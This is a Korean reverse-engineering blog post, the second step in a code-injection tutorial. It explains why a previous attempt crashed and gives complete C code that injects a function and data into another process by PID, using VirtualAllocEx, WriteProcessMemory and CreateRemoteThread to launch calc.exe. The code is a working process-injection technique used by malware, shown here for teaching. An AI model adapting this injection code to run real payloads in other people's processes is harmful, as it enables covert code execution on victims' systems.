미친해커

[Reversing] Code Injection Step 2 본문

Reversing/Code Injection

[Reversing] Code Injection Step 2

미친해커 2022. 4. 7. 22:59
반응형
해당 포스팅은 이전 포스팅에서 이어집니다.
 

[Reversing] Code Injection Step 1

Code Injection 기법은 사실상 ShellCode Injection 이라고 불러도 될 만큼 동작 방식이 매우 비슷하다. 하지만 우리는 주입할 코드를 ShellCode가 아닌 C언어 함수로 작성해 주입할 것이다. 1. 주입할 함수 작

crazyhacker.tistory.com

Why did the error occur?

에러가 발생되는 원인은 다음과 같다.

주입된 어셈블리(코드)를 확인해보면 0x1E54A422AB0를 첫번째 인자로 넘기고 0x1E54A426D8C에서 WinExec의 주소를 rax로 가져와 call 하게 된다. 하지만 해당 2개의 주소는 존재하지(사용되지) 않는 것을 확인할 수 있다.

0x1E54A422AB0는 "calc.exe" 문자열을 가르킨다. 그리고 0x1E54A426D8C에는 WinExec의 주소가 들어있다. 하지만 타겟 프로세스의 공간에는 해당 문자열("calc.exe")과 IAT(WinExec의 주소)가 존재하지 않는다. 따라서 우리는 타겟 프로세스에 인자로 들어가는 문자열(실행시킬 프로그램 이름)과 WinExec의 주소를 전달해줘야한다.

소스코드 수정

typedef UINT (*WINAPI WINEXEC)(LPCSTR, UINT);

typedef struct _INJECT_DATA
{
    WINEXEC pWinExec; // WinExec 함수의 주소를 담을 함수 포인터
    char string[12];  // 실행시킬 프로그램 이름
} INJECT_DATA;

// 인자의 유형을 INJECT_DATA의 포인터로 변경
DWORD WINAPI ThreadProc(INJECT_DATA *lpParameter)
{
    lpParameter->pWinExec(lpParameter->string, SW_SHOW);
    // WinExec("calc.exe", SW_SHOW);
}
BOOL CodeInjection(DWORD PID)
{
    // 타겟 프로세스의 핸들 획득 
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

    if (hProcess == NULL)
    {
        printf("OpenProcess Failed!\n");
        return FALSE;
    }

    // 주입할 함수의 사이즈를 계산
    SIZE_T ThreadProcSize = (ULONGLONG)AtherFunc - (ULONGLONG)ThreadProc;

    // 타겟 프로세스에 공간 할당
    PVOID ThreadProcAddress = VirtualAllocEx(hProcess, NULL, ThreadProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PVOID InjectDataAddress = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_DATA), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 할당된 공간에 ThreadProc 함수 작성
    if (WriteProcessMemory(hProcess, ThreadProcAddress, (LPCVOID)ThreadProc, ThreadProcSize, NULL) == FALSE)
    {
        printf("WriteProcessMemory Failed!\n");
        return FALSE;
    }

    // 구조체 생성
    INJECT_DATA InjectData;
    // WinExec API는 Kernel32.dll에 존재한다. GetProcAddress와 GetModuleHandle API를 이용하여 함수의 주소를 알아낼 수 있다.
    InjectData.pWinExec = (WINEXEC)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WinExec");
    // INJECT_DATA 구조체의 string에 실행시킬 파일의 문자열을 입력한다.
    strcpy(InjectData.string, "calc.exe");

    // 할당된 공간에 InjectData 작성
    if (WriteProcessMemory(hProcess, InjectDataAddress, (LPCVOID)&InjectData, sizeof(INJECT_DATA), NULL) == FALSE)
    {
        printf("WriteProcessMemory Failed!\n");
        return FALSE;
    }

    // 쓰레드 생성 및 실행
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProcAddress, (LPVOID)InjectDataAddress, 0, NULL);

    if (hThread == NULL)
    {
        printf("CreateRemoteThread Failed\n");
        return FALSE;
    }

    printf("Code Injection Success!\n");
    return TRUE;
}

완성된 코드

#include <stdio.h>
#include <windows.h>

typedef UINT (*WINAPI WINEXEC)(LPCSTR, UINT);

typedef struct _INJECT_DATA
{
    WINEXEC pWinExec;
    char string[12];
} INJECT_DATA;

// 인자의 유형을 INJECT_DATA의 포인터로 변경
DWORD WINAPI ThreadProc(INJECT_DATA *lpParameter)
{
    lpParameter->pWinExec(lpParameter->string, SW_SHOW);
    // WinExec("calc.exe", SW_SHOW);
}
int AtherFunc() {}

BOOL CodeInjection(DWORD PID)
{
    // 타겟 프로세스의 핸들 획득 
    HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, PID);

    if (hProcess == NULL)
    {
        printf("OpenProcess Failed!\n");
        return FALSE;
    }

    // 주입할 함수의 사이즈를 계산
    SIZE_T ThreadProcSize = (ULONGLONG)AtherFunc - (ULONGLONG)ThreadProc;

    // 타겟 프로세스에 공간 할당
    PVOID ThreadProcAddress = VirtualAllocEx(hProcess, NULL, ThreadProcSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
    PVOID InjectDataAddress = VirtualAllocEx(hProcess, NULL, sizeof(INJECT_DATA), MEM_COMMIT, PAGE_EXECUTE_READWRITE);

    // 할당된 공간에 ThreadProc 함수 작성
    if (WriteProcessMemory(hProcess, ThreadProcAddress, (LPCVOID)ThreadProc, ThreadProcSize, NULL) == FALSE)
    {
        printf("WriteProcessMemory Failed!\n");
        return FALSE;
    }

    // 인자로 전달할 데이터 셋팅
    INJECT_DATA InjectData;
    InjectData.pWinExec = (WINEXEC)GetProcAddress(GetModuleHandleA("kernel32.dll"), "WinExec");
    strcpy(InjectData.string, "calc.exe");

    // 할당된 공간에 InjectData 작성
    if (WriteProcessMemory(hProcess, InjectDataAddress, (LPCVOID)&InjectData, sizeof(INJECT_DATA), NULL) == FALSE)
    {
        printf("WriteProcessMemory Failed!\n");
        return FALSE;
    }

    // 쓰레드 생성 및 실행
    HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)ThreadProcAddress, (LPVOID)InjectDataAddress, 0, NULL);

    if (hThread == NULL)
    {
        printf("CreateRemoteThread Failed\n");
        return FALSE;
    }

    printf("Code Injection Success!\n");
    return TRUE;
}

int main(int argc, char *argv[])
{
    DWORD PID = 0;
    printf("PID : ");
    scanf("%d", &PID);

    CodeInjection(PID);
}

빌드 후에 프로그램을 실행해 타겟 프로세스의 PID를 입력한다. 그럼 정상적으로 계산기 프로그램이 실행되는 것을 확인할 수 있다.

반응형

'Reversing > Code Injection' 카테고리의 다른 글

[Reversing] Code Injection Step 1  (0) 2022.04.05
[Reversing] Code Injection Step 0  (0) 2022.04.04
Comments